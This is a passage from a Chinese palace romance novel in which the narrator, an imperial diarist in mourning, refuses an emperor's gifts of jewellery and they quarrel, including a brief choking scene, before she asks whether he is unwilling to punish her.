而且皇帝给的东西都盖着皇家的戳,卖也不能卖,熔也不能熔,丢了还会被问责,最好是早晚三炷香供起来当传家宝,但老娘家都被狗皇帝祸害没了,要他的破盒子有什么用? 李斯焱摆摆手道:“不必拘泥,你是朕的起居郎,朕不能亏待你。” 我真诚建议道:“魏喜子不也是陛下的起居郎,陛下还是送给他吧。” 李斯焱被我一怼,一肚子理由被噎在了喉咙口,跟我大眼瞪小眼了半晌。 我眨眨干涩的眼睛,好想转头去继续研究那面屏风。 李斯焱的坏脾气逐渐开始发酵,墨黑的眼睛死死盯着我,冷冷道:“朕赐你东西,没有你推拒的余地。” 眼看他面色不虞,就要把这个金盒子往我怀里塞,我只得实话实说道:“……陛下,就算你把它给了我,我也没东西放呀。” 李斯焱一怔:“你没有首饰吗?” 我摇摇头道:“陛下什么时候见我戴过钗环?” 为了给父亲守孝,我的脑袋一向是光秃秃的,宫里给我发的发钗耳环都被我顺手送了小金莲和小金柳,一样都没自己留下。 “怎么不早说,”李斯焱恍然大悟,招唤庆福过来道:“你去库房里再拿些首饰来,给她挑一挑。 我第一次从庆福那种波澜不惊的老脸上看出震惊来。 隐隐感觉到狗皇帝今天对我的过分热情,我内心一凛,一把抓住庆福道:“不必了,宫中每一季都会按五品女官的份例给我发首饰,是我要守孝,不想戴而已。” 李斯焱皱眉道:“守什么孝,庆福,去开库房,给她拿几根金钗来。” 金钗! 我倒吸了一口凉气,怔怔地盯着李斯焱,一种无端的惊恐蔓延到了四肢百骸。 他在干什么? 金钗贵重,按宫廷礼制,只有四品以上的娘娘才配佩戴,他眼也不眨地送给我,这是在做什么? 我不敢深想,本能地大声喊道:“我不要!” 不管他有什么目的,不能要,绝对不能要! 他被我吼得一愣,像条被主人无端打了一巴掌的狗一样,满脸迷茫地看着我。 他不自觉道:“为什么不要?你不喜欢钗,还有别的首饰可以挑选。” 他似是意识到自己的语气里讨好显耀的意味太浓,浓到有点不像个皇帝了,连忙恢复了那种傲慢的腔调道:“你也算个女子,成日里不修边幅,素得连个像样首饰都没有,平白丢朕的脸。” 我当即袖子一振,拍案而起,冷冷道:“父丧三年孝期未到,我无法丁忧也就罢了,如今竟是连脱簪尽孝的机会都没有,我是给你当起居郎,又不是给你当奴才,少拿一副恩赐的态度强塞破烂给我,你这些破东西老娘不稀罕,泥人尚有三分土性,李斯焱你别欺人太甚了!” 我几句骂完,冷着脸靠回到软榻上,浑身散发出一股你他娘的别来烦我的气息。 眼角余光中,庆福震惊的表情缓缓转为绝望。 这回李斯焱终于听懂了,他的脸色几乎是在瞬间阴郁了下来。 我装作被气狠了的样子,扭过脸去一言不发,只用眼角余光悄悄观察他的反应。 良久,他铁水一样阴沉的眼里闪过一丝黯然,转过头去,息事宁人道:“那便算了。” 我捕捉到了他眼里一闪而过的委屈,火气一下又翻了上来,他委屈?他委屈个什么劲儿,从头到尾都是他在逼迫我,现在反倒是自己矫情上了,什么道理! 猛然想起我还躺在他的榻上,我翻身而起,收拾起自己的衣物与日常用品。 反正已经翻了脸,我正好不用再睡这张膈应人的软榻了,一想到这个破床睡过狗皇帝,我就觉得恶心。 狗皇帝很快恢复了平素的傲慢,坐在榻边,静静看着我上下忙碌,眼里好像藏着一团灼人的火。 他问道:“你要干什么。” “自然是回我自己的屋子,居于此处,怕弄脏了陛下的御榻。”我道。 这句话又触怒了李斯焱,他冷笑一声,抓起那金首饰盒往地上狠狠一摔,寒声道:“朕是皇帝,这个天下都归朕所有,你的屋子不也是朕的?不独是宫里,宫外你家的房子田产,你的命,你全家的命,也都是朕的,朕是可怜你才多纵容你几分,你还敢蹬鼻子上脸,真是忘了自己姓甚名谁了。” 他明明气得要死,却还在强装淡定,若换做以前……我咬了咬嘴唇,他早该把我罚去御膳房烧灶火了吧。 他说他可怜我?我觉得有些荒诞,我深知全天下的人都有恻隐之心,唯独狗皇帝不会有。 我平静回道:“你还有脸可怜我?明明你才更可怜。” “你说什么?朕可怜?” 他好像没听清我说的话一样,脸色缓和了一些,蹙起眉毛道:“你在生病,是不是烧坏了脑子?” 我认真地摇头道:“不是哦,我真的觉得你好可怜,没有亲人,没有朋友,啊,连对手都没有,只有一群忠心的狗。” 我笑嘻嘻凑近他的脸道:“陛下啊,若论起人世之情,我比你幸运多了,虽然也没了家人,但我爹娘还活着的时候,我是他们最心爱的宝贝,如珠如宝爱护了那么多年,你呢?当真有人好好地爱过你吗?” “应是没有的吧,”我轻蔑地扬起下巴:“别跟我说你阿娘,她只是没的选罢了。” 我话音未落,李斯焱的手闪电一般掐住了我的脖颈,眼里闪烁着冰凉的怒意,他死死盯着我病中潮红的脸,冷飕飕地警告道:“沈缨,适可而止。” 他力气用得不轻,却没到要掐死我的地步,我感觉脖子难受得厉害,血液统统涌到了头上,让我本来昏昏沉沉的脑袋更加晕眩。 但即使如此,我还是执着地在他伤口上撒盐:“你同情我……可笑……我给父亲丁忧,是我自个儿愿意……我有全天下最好的爹娘……你也配可怜我?……” 自打那金首饰盒落地,庆福的表情就没有正常过,眼见李斯焱来掐我的脖子,他绝望地叹了口气,每根皱纹里都写着三个大字:又来了。 他小跑过来,低声道:“陛下息怒,沈起居郎她犯了病,神志不清,才说了这些胡话,待到她醒来时会懊悔的。” 可能就是在等庆福的一句劝,李斯焱松开我的脖子,把我往软榻上狠狠一甩。 我跌进一团软绵绵的被子里,剧烈地咳嗽起来。 在我咳嗽声中,他凉凉道:“是,你今日生着病,脑子不清楚,朕不和你计较,今后再敢这样胡言乱语,就把你拖去掖庭关禁闭,关到闭嘴为止。” “我知道自己在说什么,我故意的。”我哑着嗓子道:“我对你的母亲不敬,你为什么不罚我?” 李斯焱冷冷道:“罚了你,谁来记起居注?” 所以,仅仅是把我当成宠物来纵容吗? 我咳着咳着,目光扫过被他扔成两半的金盒子,又扫过那架华丽的屏风,最后落在他的床榻上。 心里划过一道电光,我突然鬼使神差地轻声问道: “陛下是不是不舍得罚我?” 李斯焱一怔:“你又在说什么?” 我拢了拢散乱的头发,挣扎着坐直身体,抬起水汽濛濛的眼望他道:“我问陛下,是不是根本不舍得罚我。”